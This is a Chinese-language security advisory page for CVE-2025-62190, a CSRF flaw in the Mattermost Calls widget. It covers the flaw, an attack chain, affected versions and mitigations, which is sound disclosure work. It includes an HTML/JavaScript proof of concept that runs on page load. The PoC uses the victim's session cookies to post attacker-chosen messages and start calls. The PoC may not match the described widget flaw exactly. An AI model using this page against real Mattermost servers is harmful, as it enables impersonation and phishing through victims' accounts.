IPBUF安全漏洞报告
English
CVE-2025-62190 CVSS 4.3 中危

CVE-2025-62190 Mattermost Calls Widget CSRF漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-62190
漏洞类型
CSRF(跨站请求伪造)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Mattermost, Mattermost Calls

相关标签

CSRF跨站请求伪造MattermostMattermost Calls身份验证绕过消息注入企业协作软件中危漏洞

漏洞概述

CVE-2025-62190是Mattermost企业协作平台中的一个中等严重性安全漏洞。该漏洞存在于Mattermost的Calls(语音通话)组件中,由于Calls widget页面未能正确实现跨站请求伪造(CSRF)保护机制,导致已认证的合法用户可能在不知情的情况下被攻击者利用。攻击者通过构造恶意的网页或链接,可以强制已登录用户在Mattermost平台上发起呼叫,并在指定的频道或私聊中注入恶意消息内容。此漏洞影响范围涵盖Mattermost多个主要版本分支,包括11.0.x、10.12.x和10.11.x系列,以及Mattermost Calls组件1.10.0及以下版本。攻击的隐蔽性较高,因为攻击过程利用了用户已有的认证会话,无需额外获取凭据即可实施。

技术细节

该漏洞的根本原因在于Mattermost Calls组件的widget页面缺少必要的CSRF token验证机制。在正常的Web应用安全设计中,涉及状态变更的操作(如发起呼叫、发送消息)应当包含唯一的CSRF令牌,服务器端需验证该令牌的有效性以确认请求来源于合法的同源页面。然而,受影响版本的Mattermost Calls widget在处理呼叫发起和消息注入请求时,并未执行这一关键验证步骤。攻击者可以利用此缺陷,通过社工手段诱导已登录用户访问包含恶意代码的网页,该页面自动向Mattermost服务器发送携带有效用户会话cookie的请求。由于浏览器会自动携带同站点的认证cookie,服务器无法区分这是用户本人在正常操作还是被恶意网页诱导的请求。攻击者可以控制呼叫目标并注入任意消息内容到频道或私聊中,实现冒充用户或传播恶意信息的目的。

攻击链分析

STEP 1
步骤1
攻击者创建一个包含恶意JavaScript代码的网页,该网页会向Mattermost服务器发送请求
STEP 2
步骤2
攻击者通过社工手段(如钓鱼邮件、即时通讯)诱导已登录的Mattermost用户访问该恶意网页
STEP 3
步骤3
用户浏览器加载恶意页面后,JavaScript代码自动执行,利用用户已登录的会话cookie向Mattermost API发送请求
STEP 4
步骤4
由于Mattermost Calls widget缺少CSRF保护,服务器无法验证请求来源的合法性,正常处理这些恶意请求
STEP 5
步骤5
攻击成功:在用户不知情的情况下,其账户在指定频道或私聊中发起了呼叫并注入了攻击者预设的消息内容
STEP 6
步骤6
攻击者可利用注入的消息传播恶意链接、钓鱼内容或冒充合法用户进行欺诈活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-62190 --> <!DOCTYPE html> <html> <head> <title>Mattermost CSRF Attack PoC</title> </head> <body> <h1>Mattermost Calls CSRF PoC - CVE-2025-62190</h1> <p>This PoC demonstrates the CSRF vulnerability in Mattermost Calls widget.</p> <script> // Configuration - Replace with actual values const MATTERMOST_URL = 'https://your-mattermost-instance.com'; const TARGET_CHANNEL_ID = 'target-channel-id'; const MALICIOUS_MESSAGE = 'This is an injected malicious message'; // Attack 1: Inject message into channel async function injectMessage() { const messagePayload = { channel_id: TARGET_CHANNEL_ID, message: MALICIOUS_MESSAGE, root_id: '', file_ids: [] }; // This request will be automatically sent with user's cookies // No CSRF token validation in vulnerable versions fetch(`${MATTERMOST_URL}/api/v4/posts`, { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(messagePayload) }); } // Attack 2: Initiate unauthorized call async function initiateCall() { const callPayload = { channel_id: TARGET_CHANNEL_ID, // Additional call parameters }; fetch(`${MATTERMOST_URL}/api/v4/calls/start`, { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(callPayload) }); } // Auto-execute on page load window.onload = function() { console.log('CSRF PoC executing...'); injectMessage(); initiateCall(); }; </script> <p>If you see this text, the attack has been executed.</p> </body> </html>

影响范围

Mattermost 11.0.x <= 11.0.4
Mattermost 10.12.x <= 10.12.2
Mattermost 10.11.x <= 10.11.6
Mattermost Calls <= 1.10.0

防御指南

临时缓解措施
在官方安全更新发布之前,可以通过以下措施临时缓解风险:1) 限制Mattermost Calls功能的使用范围,仅允许受信任的用户组使用;2) 启用CSP(内容安全策略)以减少XSS攻击面;3) 监控API日志中的异常请求模式;4) 定期审计用户会话和活动日志;5) 对员工进行安全意识培训,警惕可疑链接和网页;6) 考虑暂时禁用Calls功能直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表